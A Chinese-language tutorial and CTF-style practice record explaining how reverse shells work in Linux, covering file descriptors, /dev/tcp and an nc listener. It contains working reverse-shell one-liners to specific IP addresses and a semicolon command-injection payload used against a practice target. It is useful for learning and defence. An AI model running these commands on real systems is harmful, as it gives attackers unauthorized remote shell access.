反向连接的概念
反弹shell,是指目标向服务器端口发起请求,发送目标shell命令行的输入输出,服务器通过监听端口来获得请求内容。reverse shell与telnet、ssh等标准shell对应,本质上是网络概念的客户端/服务端的角色反转。
为什么不正向连接?通常用于连接目标机器防火墙受限、权限不足、端口被占用等情形。正向连接,包括远程桌面、Web服务、ssh、Telnet等。
反向连接命令
命令分析
示例命令:bash -i >& /dev/tcp/10.201.61.194/6767 <&1
shell是Linux系统的命令解释器,有三种主要类型。我们从/etc/passwd文件中可以看到root用户的shell就是/bin/bash,也是反向连接常用的shell。
反弹shell命令详解:
启动shell窗口命令:bash -i(interface)
bash -i >&表示把bash -i窗口的输出交给xx,符号&的作用是发信号通知Bash,其后
是目标文件描述符。
/dev/tcp/ip/port表示一个接收内容的文件。
bash -i >& /dev/tcp/ip/port的相似语句是bash -i > list.txt
bash -i >& /dev/tcp/ip/port <&1的相似语句是list 1> list.txt 0<&1,
其中/dev/tcp/ip/port表示文件1,整条命令的作用是从1获得标准输入,并输出到1。
Linux符号知识
后台执行:在Linux系统中,命令末尾添加符号&
,作用是将任务放到后台执行,对于需要长时间执行的任务,&
可以使当前终端窗口不被占用。
连续执行命令:使用分号;执行多条命令。
输入:命令 < 文件
,作用是把文件作为命令输入。
输出:命令 > 文件
,作用是把命令执行结果输出到文件中。
/dev/tcp特殊文件
:打开这个文件,作用是发出一个socket调用,建立一个socket连接。读写这个文件相当于在socket连接中传输数据。
标准文件描述符:文件描述符是一种特殊构造,是指向文件的通道,用于读取或写入。
Linux有三个标准文件描述符,分别是 标准输入0<、标准输出1>、标准错误输出2>
。它可以帮助人们只得到自己想要的结果,比如不想看到命令错误信息,只想要命令执行的结果,就可以使用标准输出1>
。
执行一条命令的结果有两种:标准输出和标准错误输出。
如ls 1> list.txt
命令是把ls的标准输出结果输出到list.txt,ls 2> error.txt
命令则是标准错误输出。标准输入0<
,比如cat 0< list.txt
打印文件内容。
标准文件描述符的嵌套:命令举例ls 1> list.txt 2>&1
。
&
的作用是通知bash 1
是目标文件描述符,这条命令可以理解为,把ls的结果写入list.txt,写入过程中如果发生错误,则把标准错误信息也写入list.txt。
本地测试
首先在服务端监听端口,然后在目标机器执行socket连接命令,从服务端获取bash的标准输入,把bash的标准输出发送给服务端。
我们不希望反弹的shell一直占用目标机器的当前终端,所以在命令末尾加一个符号&
,让socket连接在后台运行。
服务端命令:nc -lvp 9999
目标机器命令:bash -i >& /dev/tcp/ip/9999 <&1
值得注意的是,此时在目标终端无法关闭socket连接,除非关闭终端。
尝试后台运行bash:bash -i >& /dev/tcp/120.55.195.183/9999 <&1 &
发现此时虽然连接了,但并不会把输入输出打印到当前终端,无回显,所以暂时不考虑。
实战记录
场景是命令行注入,攻防世界中就有类似的题目。
主机提供执行命令的接口,执行用户输入的命令,我们通过分号;注入命令。
值得一提,Stackoverflow这个网站看起来很不错。
输入命令使报错:;bash -i 2
我们可以看到它的命令接口执行的完整语句,当然这与反弹shell没多大关系。
目标机器执行命令,尝试反弹shell:
;bash -i >& /dev/tcp/ip/9999 <&1;
报错“/bin/sh: can't create /dev/tcp/ip/port/: nonexistent directory”
还有一点很奇怪,我们调用的是bash -i,报错却是sh。
在 Stackoverflow论坛里找到相关解答:
使用shell执行脚本有两种方式,分别是bash xxx.sh和bash -c "cmd string"。
根据报错信息可知,目标主机使用的是sh,是bash的精简版本,相当于bash --posix模式。
Posix标准shell不提供此功能,这个特性很奇怪,假装有一个/dev/tcp/目录。
解决办法:以后默认使用bash -c "cmd string"进行反弹shell。
成功反弹shell,值得注意的是,有时候会报错,建议尝试执行1-3遍:
;bash -c 'exec bash -i >& /dev/tcp/120.55.195.183/9999 <&1';
报错信息,刷新执行第二遍即可:
“"Error: Command failed: cd /jd;undefined\n/bin/sh: undefined: not found\n"”
反向连接的限制
不能使用Ctrl快捷键、编辑器、TAB、上下左右箭头、Delete、冒号。
参考
《反弹shell原理与实现》,2020-05,主要参考文章
https://zhuanlan.zhihu.com/p/138393396
《Bash 中的 & 符号和文件描述符-Linux中国 》,2019-03
https://linux.cn/article-10591-1.html
《linux shell /dev/tcp/
H
O
S
T
/
{HOST}/
HOST/{PORT} 简介》,2019-12
https://blog.youkuaiyun.com/whatday/article/details/103556815
《linux常用符号命令》,2019-05
https://www.cnblogs.com/xiaozhuanfeng/p/10955576.html
《bash -c 注意事项》,2018-01
https://www.jianshu.com/p/198d819d24d1
《Equivalent of exec 3<>/dev/tcp/anyaddress.com/80 in ash》,2012
https://stackoverflow.com/questions/10640369/equivalent-of-exec-3-dev-tcp-anyaddress-com-80-in-ash